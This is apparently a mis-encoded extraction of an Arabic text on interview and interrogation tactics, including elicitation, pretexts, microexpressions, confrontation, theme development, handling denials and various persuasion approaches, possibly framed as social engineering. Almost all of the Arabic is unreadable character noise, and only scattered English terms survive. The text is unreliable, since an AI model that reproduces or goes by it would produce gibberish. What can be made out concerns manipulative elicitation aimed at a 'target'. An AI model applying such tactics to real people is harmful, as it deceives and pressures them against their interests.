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Lajta C5 jJaUJI jjJa^laij Iaa jll t flla oL^jU <xjJaj (JjjI jJI J j j]| J jj^yi Ljjjjallj ^LJ AixJI ^gjJaLill ;4JIa 

J <jU^. J <jjLaJ <J£ c>0 Jj a^*\j*] (JjSlLulaII j J o^tSI Jj J ^^jJaLJI I Aa» ^^.L j ^ uj ;*UIa 

jiilUJI ^ J£3 j I^jc cillL^aiil jl Ajjoiill tihUJl ^1 Dissociation JL^aijVI j Association a^ 

J 4_n&i]| <!LaJl (JJ^J Lr L5 > *S3j*^ A-nj^ax]) <L^gjJI L_ii3Loj| (j* Ja .Ajjilll ^LiJj^axJl <L^gjJI J AjI j2 j CjVLaxlujl 

. jL^aijl J <Jj£2 iSj^ 4-^^ J J Al\^ 

J L*l i_ lAail 6jjujLix» tilLL^jjojl (jj^is 4<iL j Laj ^jjd^jj ^-^>.>ijj 4ju* (Jclilij Cja^J! dijlj (-^m^ (Jj^jj ^L^liVl J 

J <La jAx-g jl <LixjJa (JjS2 tifcjL^Jjuil <jl£ tillil j d3l j& £>l jj (_£A3l ^akjaJl (jjS (j-a ^C. jlL 4_jolisu V j CjAaJl djli (Jl > ^"iVI <ULa. 

AJC jjJa j* <J jj^ jll Jc LAcLaiJj t^jj^kVl jki Clil^i jj L Jaj ^^-^-J (J£J (j jl J^Jl (Jj^* J ^'^^ Aj^ISII j-<Jl i>i& l!^^ (jj 

# CjL<i (jg& AjklaixJl j A_ijLij3l j cillj^VI ^1 J^f*^ 

jj ^ JJJI (jl •Ajjl LdAic ^La3 4 CliLi jlx-d ^a^.Luj AhY)-^ a AjjSalo jl jl ^LijLi j ^Ij^j ^1 J-° (J* 6^.1 j ^-J^>^J ^>lajl Ld^jc 

Ljajlj t^LS^ijui- ^jljL^jl — (jl 9 j j - ^ a — U^-^) U*^^ lA^^ L>^ ^ "J N I^Lq 4 6^.1 j o^laJ (Jj^Luj l^Jj li! t^Lljlj 

^^jjuoij — CjLijulLuiAli ajL j — ^Vjl 6jjaiC ^Aic^ ^^jJaLa l^jl Jc I^Jjojj^ jl !iL» 

CjLq jlx>Jl JJC. (^>^1) ( ; ^ ^ ^5*^ ^>^^ La Ale LfcA^J j;iC. CjLq jlx-a ( ( -- J ^) MJ 1 ^^ C^^^ L>* ^>^^ LoJlk- 

j&j <jj£jaixJl Ll^ l^Jt^ L— lill^ i J]| ^Sla j j ^jJa j-o J cdjudij ^jJaJ La.Viy q tl^j ^K'j ^] CjLq jlx-xi cdilajU lil £>AA 

lijjJa t a.^<j L^j l^J Vj till dbau] Saja^ ^Li^I csjSa ^ajL^II) (c_jal^<JI) j-q Jj dJiljl jl ^jj ^aja^ ^U^l ^il ^j^'^l 

LI J>» J Lajb (Jjjj«J (jiaxJlj c j\ L_JLl!I J UJ^ ^<-^ ^ j>» J lA^S C5^^J 6 ^^J^ J Lftjb (Jj^*J (jai 

V ^Li^Jl (JjLgIa Jc llll^ jA j j^ J LajI^ ^jjjjju (jlaxJlj <juoaj ^joiljj ^aA^cLulxJ j^L<i ^)C.Ljj ^jjjlilL q a i ul a LajI^ 

. jUSjV! J ujj^ ^ ^^>J J^^ 1 J V j J jiL 
Sjbyi Ijj^ jlS lij .LI jl LJlk 1^1 a^! J jSfli V i\4 ^ c& oVli cJ^T j] Cj^j! li! aJ J V JLI : JLl. 

4_jouojja31 dla^a) j J^)^. dlfl j Jj ^jjijjj jA cJj^ J I IAjj ^al jA3I > <al ^ CjLiAk 6 ji!a jxi <^Q>lkj3 Ajli ^j-d (JxIujJ (j) JtJ-L 

^jjjLIL ^j^ij V <jl Vqjq^ll t^^!^ ^ (JjjUII t j> liLal t^lUa jl ^IS Li t^Ull Ja^-L V liUJ <woij JLoij as j iA ^aLkli Aj^Luj 

Ii£ Aid <C.jU Ajjj 4jjfj|j lA^LdJ ^jljji^Jl <Jjfjl tl^J li^ Aid <jJaJ^d <Hjj i JjolLouJI Jj L_lAAa dljJaj>» ^jlj;!^]) dlL 

jl (jlj^J! IjIj <cLoj <juoij ^ U'^Vj ^'^^3j J^^J ^icl^ UJ^ clA^ ^ cJ^^^ 1^ Cj jj^ 6 ^J^ ^*^J 

,A\ j^Aj 

I^jLjoJI L-jjoi^ J jij ?<JjJaal ^1 jaII j 

c> ^ cj-^j (3^ ^-9 j^l J^ - CjIaII J 

^4_juaii3 ( . l^j Lg A-ikV ^ ; i^j J^ ^£a^.I (j-ojj V) ^>stjail j (jj^^Vl acLujI j a^J Jc ^^iicl Ja. - ^>^.Vl J V 

^)Jalj JcVl J] Aj Jal jAJoLiS Ljjjljoi t . >AaJJ V '(jjj^ (j-Q J^*^^ Jj ^ J -0 - J 

V tllaai j LI jj^a cJ^su 515 6j^J j L-laJ CjIaII tAijJ U Jxij Jaia3l£ Jaia ^LlkJA]! jC^LUI JldJ I^jV \(JsH ^ jUll) dj/jJI ^ 

m 4-uihj ^<uaLj Vj (_£ JJ V Aj^J <jaiib JstjaiJ J^-9 Ja^9 

(JjjLII t^al j* L_fljcl Lla Igii^jl ^^-^ j^VI J] lS^"I LgA^c JV CjIaII ^-^j ^IjIaII (jc ^>*-^ i(c5^J C5^j) J^*^ 

...eii 
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. J^VIj dj\iJ( c yti jjj jjWI ^Ij^ll Lpaij U c_ial^<JI 
^llj^j £alj-G (j* <jjjL13 jjajj IgiV t allkj ^jjjUII jl£fll t4_iiki<J! CjUjIoiaIU d^A ;CjLa jLlaJI J-a^ ^ tilljjVI jS) J-a ^li^luil 

^ j pUjVI j 4j> jjll lUj^j j (jjoiill ^ j > ^ajaj dilill _<a3lk^ AjjSala ^llj^j ^51 j-g ji a ^llj^l j-a j> 4HL* j 

d-alxj3l ^ ^(S *LL£ \ laaJl j L_il jj^all (j^J^ 3 f3 ^J^* J CS^ <*->l^l <^ JlilaVI J .^L^l J SjjojVI 

<a£ jLoj L_aj£ 4<S£Jj ^jUSjlabo (Jjjs (j^j J^lc ^j'j La ! JISjjVI ?<^jLc-j La hj! I3L* JISjjVI > aLuJl (j^aj^aa 

W^' J O^J^ LSjl ( - ^ » »l -SajLiall J& <jjflj]aJt ;c_jal^al3 JISjjVI ?4iSI l \^ 6???? 4AUJ tilj^s^ U 4<J ^Jjj a dul 

.L_ialj-<JI ^a j-<» l^a UJ^ 

.^1 jjsV! tjc UUijl jjlJ cJ^il ^UJIj l^^I jlaUll JiJI J^b j^ljVt g^aj tSlsLaj t j ^1^1 mU 

.<^.LaJl He Ifr^l.Vs loal j LA Ij^lS (jj^J (jl cil^cLoaJ ^^jll j-dl jVI 

jlijV »a£j ^j^-aj .^ciajaJl (ji^k iaia ^jaill I^a <microexpressions ^ j 'lsJ* ^ aj^xIII a^jJI 

> V^ll ^ J-dlxj3l He CjI j^VI £>i& ^AklujJ aJUII Ajikl^l a jixkJl j jll J^lsu (^Ic 6 j Jail j A-Uj^axJl AJ^iill ^ CjUj£i3l 



Interview and Interrogation 

t Ailik^ LI jj tic a} ^ jjja ^<JI 11a jSl j ;djla^likVI lP 3 *^ c^^^ J j^JI o^^s .(Interview) j (Interrogation) 

.Aaw jj (jl (j^J iilli (j-« j5£l j '^Ijl t^laj dal^-ai j 



(Interview) ^^1 


(Interrogation) 




Ajl^Jjj^aJ (jC L^^JI ^1 Cj^jj L-u\ 


^aJ (j>»J <jL^JJj^J (jC ^jJa jSjujJ dljl .<J ^ a <ill oL^jl ^jIj L_fl^Jl 
4-LLuax]| <J ^iill <^xijJl CjIjI^g (jl laJ ^ C^UjujJ 




(Non-accusatory) jp* 


(Accusatory) 


Aj^U^JI ^ (jJ (jj£j 




,(jJL ^joiIjj a1 > oj 4_JI <J jll (j^j t<LlL<JI 






Ju^»Iq*UI l4\\** l inXH i bl 



(jj£j l_jI ja^LoaVI I a ij i cLjuaij j L^jua^i (jj^j L_fl^JI (jl L— li^ uj^ ^^-<JI (jl 4-jI j>*u>iV1 j aLILJI (jjj ^^uj^II (j^>i3l 

J j> ^i^ll c V^j 6<S1ojVI Jl 4-il ja^LoaVI ^ J-° ^ 7>jVl 4_^.l^)3l ^a^C. ^J^lk (j-d L_fl^Jl ^^ic Ja jXjJall (J^axJ ^ £jJa j ^ L_fl^Jl 

> V^ll 1^£11qJ ^^l Ai^x-All (J^asu jl L^ljjcl 

dj|jl^>» J!L<i ^3'°^ o tdj j£ ^ -W^j^ ^^c-Lu^-VI (JjjH^JI Cjljl^xi (j>» h^xJI ,4j^)^j3I <j!>Lk (j>» 4ilij*l (ja jA iiaJI (-jl j^jjojVI 
IIa cJ£ ^ jJiJI t«S jLaJI (> <jSL s jJaj tSBLUl j '(gestures) cjUUjVI *^l jS ; 6J ^jll *^l ja 6(>J L3I *^l ja ^(Elicitation) iaLiL^VI 

^jjJajuj) (j'q^ ^ pj^aJ (jl (^^-Sc^ til^cLoaJ (jl 4 j£ 

lillajl (jl (j^j (Elicitation) JaL^LoiVI ^l iaJLuj| (jliiil LJUa ^fil a *<j\*\ q\ oj^ ^jW* dj^LlLJI 

jl C5 Juoii3l ^Ic^jVI (J^asu L_fl^Jl ^-^aj .^J>L3l Ls c\ ala^VI (JjjH^xJI (j>» JjujIj (jUaj ^^ic L_il j^JjujV! f .C-J^LlLJl 

\ gjlr. jj^^JI ^J^ 3 La j (jjicLu^-VI (jJjujH^xJl ^^jJaflJ Sjl^a j lW^I 'La jlx-<Jl j-^- cJ*-?^ ^.^m^ti 
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(Professional Interrogation Tactics) 4i>^l ljIj^I^V) cA£jj£j ± 

(j* j^a ^£1 Jc- <J jj^^JI tililc ( . ^j .CjLo jlx-<J! ^a^. (j* cilli <J*^ ^ <u^VI &1I j^jjujI jl 4_LtL» ^1 e-l^^j cJ^ 

jLjcVI J <^J-^J 4 lS J^ liLaj ^^Jl (J-dlxIi3l A-iaj£ l_ fl^>su (jl ' . laJ m A (Jj> gal 9j3I lS^J j^l ;<£jjoJI ;L_fl^J! (jc CjLg jIslaII 

. J jVI ^3-^ J t*uVslt f.Uj| c V^ti J dljjjij 4jI cil3i£ j cilk^ a 4j£Ij-<J t jia* (j£ > V^ll ^ ^IkjJ c_a jjoj ^ill jLauJl 

, ji& <^*-a 4-S ^1 jLuJI J j^f*^ o^lj^l j& 4-^ j c!j!^jILJI s-lj^j •^ c - «^aJI (j-al^jVI 4^ ^ib ^ill ^Ua^.Vl (j* S^l j 

4-^jIj <! jl o^JL ^yulj (Jj^j (jl (j£-<uJI (j-a (j£J j c^li-xJ^ <ULa. J <j| *^ r 8 ^ > ^* >T - c3J^ ^^U^ ^-^l -Wj lB-^I J^f^ J^ 

6<joilj lSj^h 6 ^- j ^ ax ^ ^jc! j3 -^j^ t V^ll t JUaII J^f^ J^ a £Ax>^k*l\ (j* CjIc j<^ a S^aLuIaI (j£3 j ss^l j ia£a (jjjJ S^iaLuIaH 

jl CjLg jIslxJI (jxa CP" c ** 1 ^J (jJ <jl Jl J^Jujj IaAjol^ Ail 4(_£^kl SjUxJj .(jjli-a (J<^^ jA li& .(jlajVI Jc 1 «s la m a A-lxa^ £jJaJj 

(j-a 4c ^ <ia^.^Li ^xJl (j-d <jl tillil 6<jal^l3 A-LdAl J^Vl ^(^^juJI CjI jJjirMl £yz <C a m [^3U* ^jUll (jVI ^jjlxlll 

U£ld/I^isu Jj-<»j 6^.1 jid t^jqn.i^ ;(Body posture) ^"i^ll 4-uA 
.c5 j^' c?^ 'o^^ 6 6c_^Ui :(Skin color) Sj^uJ) £jl 
.cikll/^uVl Jj * Jjiaj :(Head position) o-tjM 

.Ji^Vj^l J! J c^jUl ^jxJI :ftli£]|/fi]| - 
.cjljjAiillj t Jax-g '(pitch) 1 S-^- 

jj t^laLLJl tAJjJa tSjOjuoS ;CjL&l£jj 

L_flS ^ Jj AjjjA ^ J^»jj ^aJ t"(jiat jaLLuiiU dilxi jlx^Jl ^j^- ^J^l (jl ^ jl ja. ja CEO ^^1 cJ^" JL^J LoAic- 1^. 

(j-a J 4-^^^*^^ lP 3 *^ (jl 1.11^. Ijjai^d (jj^J ^3 li^ ttilJj Jaill (j-« ^jnr> ^jJa j ( . ll^JJj (j^ l^j L_ t^^cli^ 

jjjjaJI c Qmi^j L_j| j^IojVI 

Jc t . uaj ( flj£ j c V^ll Cj jj^al (j-^Lk ^aUuAl 5-^bj 6L_ll j^IujVI j\ <LlLJl 4_iLaC / fl^JI ^>laJLujJ jll CjIaKII Jj atjisVI (j-« ^Sb 

dijl£ lij .l_jI j^JI 4jajjUui Jc <L*!)lc. l^Jli <c jjoij <jL^.VI Jj ^IAisVI L gSA jll ^ (j^xlaaj ^£ 6VIjjuj JLoij Loiic .aIIojVI 

.(j^a^juj (J^3 "^^Jt-nla" j& ^AaJ L_L^J (illil < uj J£ Jc. Axusu 4jL^JjujVI cj-^J .4-il J^JI J Lajj ;^bja IjSj (j^xlaaj 

^.^Jl .OJ^ <C JjudJ tilli ^aJJ (jl ( ■ 1> Jj ^UcLdl^V I ^ ui,V^ll J 0 JJT > ^ <!Lalxi C-LaLl] ((JjjLujVI (_^l) L_fl^Jl J ^Tjjjn jA AlAaJ 

^1^)^.1 Jj jj^ jll t ■ UjujJ jll <11ojVI J^ L^J^ 1 ^ (JjjLojVI -la^ (3^^ J S" 5 .ftjl^ftl! oi^ ^ ^1^31 ^-Uixi jA <ia^.^LJlj 

j^JaxJl J Cll^Jl -( ^cI^jVI Jj^fllll ( ■ lllaJJ 4_Slaj|j ^JaJjoiJ oj^li ( ; lUaJJj ^^ill Jc jiajj V <llajl l!^^ all .^LoJl (j-<i Ailla o 

.^Jl Ail jl microexpressions <s jSlill ^ c> ^ 

(ill laJ (Jj£LaixJl Ai-lj^a Jj ^^jJaUJl 4* us* (jxi CjV J^ll 6^ . ^' ^ ^I^JjojIj ^^J> ^ J ^J^*^ jA ^L<^l>.n!>U ^kl cJ^^ 

c_fl^JI ^jL U^c .^I^JI J] jjAj (jl (jlx»j (Switching tense) 3 *j > ^ 1 J Jj^ill .JjSaull ^U^lj^ J ^ jl jllj JaUJI L p a *j 

LiA Aqjq^ll c (jl (j£-<»J L_j| jaJLoiVI (j-d Jjj-d ,L_j| j^> JlsLiaV ^^jJaUJl (jUj J J^^l jl M J^ ci»^J UJ^ ^ Aijj^ajl Jj^fb 

<C jjoj j (?^t^yi jLaJI) Cj jj^all A^-J^ ^ l^Jj ^LdluaVI t ; 1>J J^*j3I C5J^^ Jalixi .Uiajl 

cJ^-^VI (j-« ^>l JaLauj (jjjUll AjSIj^j ^LdjjujVI <jujjUu» J dja jll (j>» ^ j-* ■ t — ^ J^^ J I<^a J£ a j°j^ Ai^>*-<J ciL^l ^jSj ^3 

. (jj^ cilli ^ 3-iua3tj 

b Aj^U1^VI ^uuH^-lb l^ilsu A^LS jUu< J ci^lj j£ (jiSUj ^LuiSfl .f Ij^^l (> ^ <> ^il j^VI ljI j^IujVI ojQ 

(Positive Confrontation ) i^lj^l - 

jA <j| a^1aI3 Jj^j -lajlj^all (jl I'^-S ttilli (j>» (J.>i£tJI Jc. ,-ii^.j ^L^jj ^1 A^L^jVI ^-^-1 is^^ ^ uy^^ cJ^^ J 

Cj^^. ^3 JxilU tT<< ^c, j ;4_iC.Uu^.VI <juj^JI (J^^J J ,(_^ j3 ^l^j) ^ 1 ^J JajUiall (jli 6(_^^kl SjUxjj ^^LdJ^aJl l_j£jjI 

<j) Ai^n.n ^ill (UjLoj SjjSlftlt NLP Ujj) Jjijj -ull c_iAii jl jVl j ^jjj j "cJ^JI" 
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.liuJl ^ ^lill liA tit "^LuL^jVt jJI fl.V^'il jt" ^LoiaJ Ul CEO J*" J^JJ J /quo VI t ^ 

.<lnxj ^ ^Ui^Vt ^U^V 1 J 1 ^ J 15 -* 11 J^V" Uli^ 1 1 a^LA\ J CEO 

(Theme Development ) ^j^aj^ll^aj - 

4 nuUti ^ta c aj£ !^!L<i ^jiajiiiJ ^jja jj ^jl^xJt ^jIj Uilic <JajJo3l djUl j^iml J (Theme Development) ^ 

microexpressions j ^>o^t 3-*-! ^^j^ ^ > ^t t^^j iajLjalt Liij c _^UiVI ^-l^jlt L_jjjjaj ^i^j s-j j^' ^Lu^U 

a <■ gaili ^ ^jat jj J£joij ^jl l^jLuj <Lt ^t tilLiA (jl£ tit L* 4i^*-<J <j ^ iLuLal] 

^ jjJa ^ ^jJa j tA-jcLdl^Vt 4 m, Vigil Jaj j (j-a l^jJt J^l (jt 4-l^t Jjt Lo£ 4<L Jalt i>i& ^tAaJLoat 4i£-aJ ^^cLal^Vt (Jjj.V^ a\\ 

m ^^l\ J^U <> ciL ^-aUJt <xjji3t ^jj <jt ^li^j (Theme Development) 
l^ja jc jit j tiL ^aUJt f& Jt <tat jj^j Uik. ^ ^Ui^Vt (Jjj^-a13 <jjau3U (Theme Development) £ jAi^ 

4<xJji]t .La ^ (jxa ^HLP L^J^ 1 ^ ^ L \y ^ t ( »-fl'^-!t ^ L_lt jliSVt .£>jjj^JJ d u£ ^ilt ^ jjJa ojjaiLlxi ^^Isu 

^AjujMI ^C^lt jl L_lljjujt ^a^J c^iJt ^jl£-<Jt j& L_jt j^JjoaVt (j-d ^3^^ ^ J - ^^ A 1 ^' Q ^ 6 jL^Jt A aUflaJ 

Cj^. j AjjL^j <C jfla^J C-L^Lujj _A£jjoJt ^t ^ <ulj jnjuij c aJa j-d ^jc 6jUc dljl^ ^^jlt j t^. ^ laJ > oJ Ajuji du^Jjoat 6<Jl!L<Jt J-iJjuj ^^^ic 

^Jt-LoJ 6^lc (_^ilt j^)AxJt ^jjjUlt ^UaC-t tila^A jjJa j-<Jt (_3^ C5^^*^^ ^ C-LftALuj _4 K a ^ (j^ J - ^ ^ ^ ^J M1 J 

. J j^^lb till ^UjaJtj tiliSj 

(Handling Denials and Overcoming Objection ) ^LjJjfe yi ^ lJxjIIj jhsJI ^ J*Uj]I - 

jlaj ^l^ic L— la>JJ ^^jlt CjLg jlx>Jt qC* til^la^. jt La (jt£-a ^t J jj^ jit til^la^. ^aJ tit J-GJtlt <Ja^. c\ J i> <~i\ ui j\ c fljl^Jt e>\ jjoj 

c^jlt QiA" i"?^ Ut" tC^j J£ ^ dlx^t ^j^a ^ tifc (jjA^Luj ^Ult .conversation stoppers ^ 

..."VU Ut" 4"jVl 

jit ^ ^jUi^Jt ^ J^lxjlt j l^ilc ( . Axjil <Ja^. tiLJ (jj^ (jt ( . i^j ^AaJLoaj ^^jlt stoppers 1 a 

^alct Ut" jj (JjAjj ^aJ^ j <-jtJt ^^ic (jjialt tiSil^j <A\ aj ^ilt ^ jj ci^-J C-llxC idjU n^t ^ du£ Ixilic 

^ iaaa ^li^ (Jjaa^. L_a jjoj ^ilt j ;^.t j cJtj^j ^^-Sc <jL^.Vt cil^ <^jt t Jxili ^ji Jja ^j^3 j t^Vi^ ^ tdij <J jili ^jt ajjj l^j tdj) 

4 JtjjaiJ AjullxJtj J^Vt (j-a C.y^^ ^H^^j J^^- cl)^ J^* 6 <Jj^ J^-J^ (5^^ uJt ^jli 4<Jaai3t lic ^iiliSj 

.4jJatjJC.t j^.t J JJ^Q^^ ( * a ^^ Jc J j - gaaJt Jc jAl J jJ 

Jt J ^ (j^Ult £li jt ^jjj V ciljt Ut" J j*Vl l>-J^ ^ ^ V <^Ui^Vt ^^JU ^hVi»^Vt ^ 

<Jjau3U Jjll^J t^iisu jj£t j& djLjat jilcVt Jc c . lUlN ^Ll^IxJt oiA ^t^kjjajU .til j£Jolt (jxi J^J^ <3Jjia3t i>i& "(j^l J ... 

^jVt .CjLjat jJC-Vt (ilii (jLlLoaV (j^>^ >'Mt j t^jjjUllt j 4<j^k3t j 4tiL (j^aL^Jt ^ jjJa j-<Jt pjhVi j CjLjat jliC-t (j-a Laiij ^3 IxuS J^flJ (jt ciLlc- 

^ «j s^Jt ^j>Jt Aj^t jiojt .c_flj\^Jt jl& jt c_jU3t ^ jU JjSj jt iaaa ^t;< ^ V .dLjat jj^Vt jb l^jUa^V *^ <jU] 

L-jL .^IJ L_fl jjoj 4it ^alct Ut J /ijiflni AUi)\\ '^J^ J ^xiJolJ (jl tiljt L_Lojt Ut t^^JjoJ U nV 4 Jllxi <iaJjudJ (jj^J ^ J^P^ ^J^jlt jloit ^jJa j (j^J 

(Keeping the Target's Attention ) <*-ty-tl ^Uul^ ML^li - 

J tAiJ c_fl jjoj t^^Jt (jli 4t^^Jt ^alxit (jj^J LdHcj <Ja^i3t oi^ Jt - ^ (J^^ I J^-^ tiL ^aLaJt 4_iclxu^.Vt 4jujli^Jt ^a CiLqI »^ tit 

<L^t J>J a A \-^'\^s\j (jx»l£3t L_fl J^JU L_fl^Jt Aj^AsU Jt ^"ll^J .<Ia <jllaJ (JjlS jt 4L_alxJt i^-t 4(J jj^ jlU ^-^>.>lJ ^3 tit t^i N-v j. Uu3 JJ^fljlt 

.tililfrl c^^Jt ^Ij^i 

J Uak l^Jjlj C-UuJa j Jjt ^jJat jit (j-d jit <LllxJt oi^ <J ja. t^. LnjL^aC L_ li£ .^J^LoixJ t j£joi" cjlxi ^ Llklt Sj-luaklt djL^Jjj^ilt 

.cili^Loixi J^ cil j^l ^jj "^Ij <jU",,i!^ ^UJt" (> Uaj jj^l jl^ J HR j^Jt uj^ cUt .^.^ 

B "?^^t .^C ^Xi ^LudjV Ajt-d (Jj^t Jjt (jt ^j^AXilt (jxi 
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(Presenting an Alternate Route ) ^4* Jj^f^^ - 
^-ia^ a ( * u a i o aloJI Ajjj <j-a <ui t JU£LujVI t flia j>» 4 JLui C5"^ cJ^^ (.5^ <!jL^-<i ^a CjI£jj£j3! <J£ '"^ laJL ul ^a c_u£ Lajj 

aJJ JJ*V1 (j-a ^Sbll tSL^l jl jJal Ul ' jLai" <<J^ jLuJ-a jl C_L^J -C jjjLojVI (>a jl J^JI liA c 3l& CjI^J <a>J^ t - uafl Cjtli&ill 

^jx Ja ^xjJaxJl ^ajill £-a ^^^^SjjI ^jl <aJ <j£J _<alala3l £>i& J jcLuj l^ULa CluJ LI a Ja£fl ^c- j-all ^J^)Ja (jC 

"?^C j-a AJ^J ^Iluj (jl£ lij La Aa^sc-al I^C. c fljlgJl J^lk <j-a ciSjxjUo ^ l£ tilli Asuj C-LLtUoi .liuJl Jl 4_ila*j3 diLa jlsc-all 
tlxilj ^Jj Jail li& cJ*-?> J^ ^C-LuiJ (J I (j^J jL^a (J^-^ S^iuLftll PDF ^ ^ (J^H c> * v ^ r "^ (J^l a a a>la]| <j^al jiiVI (j-a ^ J^-J 

jjaiJ j^IujVI ^hViml 4_uJjLa-a J ja> j <jc 

(> If^Iaj^ ^li^ll Sjljj J^S 4-* v^niil ) "Interview and Interrogation" <l)lj^ J c^IujjI JUaj) 

gUli-alt diA J jlalib .life t^laja j£2 j cSj^aJ! ^jjSia^ll Ig aiHuaj J]| AillLaJl gAti*]) l^J) Jlg^ ^ jjj-a]) 

^iJI jl Hn . nj ji^xJI Aijjiaj c_aa^ .^^ill tiA ^ 4iS3l ^> ^ j% ti^^^ i (Direct approach) j^UaJ) ^-Ul 
j±\ q^^j! ^\ jl 6 jLuiLui^ (Jj^j (j-al^JI (Pretext) ^sj^^ l^^^l 2?^^ ^ ^l.^iml t^^cUu^l ^.v^ ^£ 

^t.uij ^j3U till "jJAl" cJ^JI jl (j^jjfljj AiSlI ^ tilLj <Gi C5 Isu liAj .4 fl^_S( 4JaioJl 4jJ 

4 j3-juj n ji^Jlj J j^qM U ^aill ^ JjL q\ <j ^joij ; (Indirect approach) j^UaJI 54^! 

t 4'qj'q^ll cJj^ cJ-**^ j^ 1 ^ l!^ 3 ^^ 4 £LuL&l] ^-LdjaJI ^i^JI A a^a jjoij j tdjLJaaljj 

JIjjuj ^Elicitation ^ jLiicU Iajj ^j£3 j & jj^ ^1 ^ c V^ll ^ l-jIjjsVI ^ ^ f ^ ^ >1 ^ ^^^j lv^m ^ 

.g^jll liA t> s jU^J! jlSaVl ^ DOD *^ jl Jj JJ^ uj : (Sympathetic approach) tilalxUlt 
U" Jla <11ujI ^^kloij .aj A i LuU ll c-iLI jc^ jl j^Lkl/c-jbl c_ixL g^ll IIa :(Emotional approach) <ji2al*!t 54^1 

j AjIuiaII c_Ja LiSalc^ CljjLjl ^jll jlSaVl .S-jI j> nnVl cSLjSj ^a liA u.n dii^ "?liA ^ cilliLl jl ^Vi> jj ailu jjoj ^ill 

,l^La S^laloaVi ^3^a13 (j^J tl^ uaij ^jC ^)AXJ jcLauJl oi^ .LlAj^aC 
jl ^ Jal jiJVI lie. / i > ^^Ic l_1xJj c _^i3l 4<LLaJl ^JjlxUi <LjIaJ I^A ^l^klujl dJ 

<J jj^aJl Jc Ij^la (JjSj <>— Lia jcLauJl (illj Jc L_lxI3l ^UajjaJl (jla^a ^j-a ^jjjlau (jjill Jlila^U AjjjlaJ! CAax ^aJI J aJ^ a L_fl^Jl 

L-L^alia (jaa^lt .^-uilL LjS 5LJj ^^Lj ^lalc^ ^ilt I^a :(Logical approach) ^hi^ti 54^1 

^L^a tiljLiiclj ^LoiJj (_^l3JJ La^ic <J!la t jjJal^./ JlLa-a 4i j£J <Cjjjaba3l (iLLjoi! Jc ^aJ^ AiC £-31 J J-«^ ^ ^1 laJL ^ raJ 

Ji^J ^^aIij ^31 <£3I Jxi ja. ^ja.j ^ IT 

V ^llj c-i^ll jjsa. J^ c^Axdlj cjUjkJI Jaa. tjSauJl :(Aggressive approach) c^lj^l g^ll 

^AjS AjjJ^ail ^LijAxJl ^jjlaJl c^l^Vn (jl I^jI ^irTn V (j^3 j J S^laJ (jj^J (jl ^Tjnj tdi jj^II ^ij ^irTn _Ia jjLaJ ^Tjn 

^aUjll OjlSL diJ jja 4£jj^3 AjjouIL JUJI La£ . jLjcVI J jyajll JaUaJl ^Lua.VI j-^^ A\ ^Li^j 

j^Jl (j-a S^tilmiU till ^Lajoill (Jaj V till t * a J^ jJ ^J^j (j* .^ijAaII jJjl jail jjo£ J (^aJ^ ^A^S (^Laia.VI j-^^ 4£jJa3 

,(JjjU3I A_jj^ jj^a. jjc. jl c4_L> ^ uJI ^jjj^JVI ^^>^l cJjLojj D^ljaj t4_J^la3l 

jl <jU (> liA . jjjUII (> j^a (jj£j jl o^ill jjj ^a (jj^L^I ^1 ;( Combination approach) t 4 ^ 1 ^ 

A iLuLall A A* uj (JjjLujI Jc J^JJ 



863 



Jasu LaAjc j . ^i-s 4tilii£li3| I^A JiLa .Aj ^ a all £"^J <*-fl-^-ll (j* (j^J l— JjJaixJl all ^^-Ldli JiLd L_flAA (jC 4_L^kjaJl 

.(jjjUll ^llS ^\j^la Ua jjuj ^JaflJ (jl (j^-oJ t^J^x* 

^1 jli^j V <jl U£ ^j^ij ^ji^JI <jV ^Uua^U 1^ Sjjia ^a ^ill iiA :(Indifferent approach) JW* 

.4_j^a£3l (j* <^jL^. e-UaC-V <J 4/u*^U L_1C^U3I J «^ a\\ <jaIjJl i>iA Ajc J^. ^aJJ (jV L_flljJC.| 

aJ j£j VI £-^J jl <a]aia ^ t&l lil ^ U ^ill I^A ^l^klojl Sj^lS (jj£i V Afl g-^Ul*J ^< 

(jjlAAjj VI til^J^I (_£ill (j^akjuJl t . UjujJ Q\ (j^J <J-f^ <^>^l .^y^ (J^/^l ^ (jl (_5 (jl L>^ cJW* <^>^l 

t *° j 1 ^ ^ 1 u j' ."^^ j^iill .<Aii!lll £>1a ^ lj^ <- *V"j* .<3^ <»sl ^aja till j 

_ JJJ^ll (^ic <Jj^^J (jl ^iJoaJ j'ql > 11 a JJC. £jJa j ^ UJ^ LiAjc (JU-G JjiC. 

lJIj^VI ji^j plk&jj t^Ujj^JI ai^ijj ji^JI :(Face-saving approach) ^jit * 

.^la^ll aLjoj j£ 4^£^<JI ^ ^h^lml <j 4 iluull tcilli ^ jixJI ci*^ VI a\\ C5 1c ( . i-> j .a^. jll ^Li Jai^ j 

, Jxij ^^cUu^-VI (Jjj V^ a\\ ^fil j Al^ jic (j^akjaJl laau ^jl Ajjj V ^j'q^ ^ll .^-^l lia. o^lilojVI (j^-<^ ^^cLol^Vl (Jjj V^ a\\ 

^gic ^j^>^ ui (jl <J jflj (jl j& A^.1 j ,cilsLxi JIjILgV! (j-« 6jic AijujjJ ci^ JJ^^I V c ^•^^ J 1 ^ c^ 3 *^ Cfi 

(jl <fc5 ^- -Ijjl V Ul (j^3j '(jVI ^>*ju^ (jl clA^ t ^ ^-lla!Laii" ^Vl li^ AjuIIg <Lj (jj^J (jl < ; lllaJ ^^^icl ^ jlaixi 

^ill liA "^*J jl (J^ c^JJ^V^ IkiJl tilli ^^L^aU ^ jSI tilliA (j£l ^3 lil (J^jJalU jt.uij jjuj dlL<u^ ALuJ! (jl t flj£ J^l 

. JiLaVlj <^ jll laia ^ oj^ll L_fl^Sl ^I^tj 

^1 i^U ^ tiijli Jaxj jl J^l (> . jl jjcVI c> ^ cjjLjVi liA :(Egotistical approach) jjj*-* ^ 

<j| jj^slSI (jxi (^^Ji ^ c3^>^ ^ ^-^^>^l ^ (^5^1 <9J^)ia3l jl tdjljl laajoaVI 6 jh^ll (jjud^J ^klilill _6 jL^Jl (jxi 1^. IjJ^ UJ^ ^ 

.4_£ill liA jl£ t^ljll ^ ttill jlg-laV 
jljjujl (jj-acl ^JjuJ ^1 (_^^JJ 1* (J^akjuj Cj| jL^Jl ^^ic L-lsJl ,L_J jLujVI I^A a l^lLuJj Li Ullc. AjcLdl^VI <JoJ^Jl ^ 

-g Jj^ j& Uj cJjIxj <*$1a31 44j^3I (3jU^ jLIj ^JUj (jj£L^I ^.1 jl£ lil ; (Exaggeration approach) 5^ 

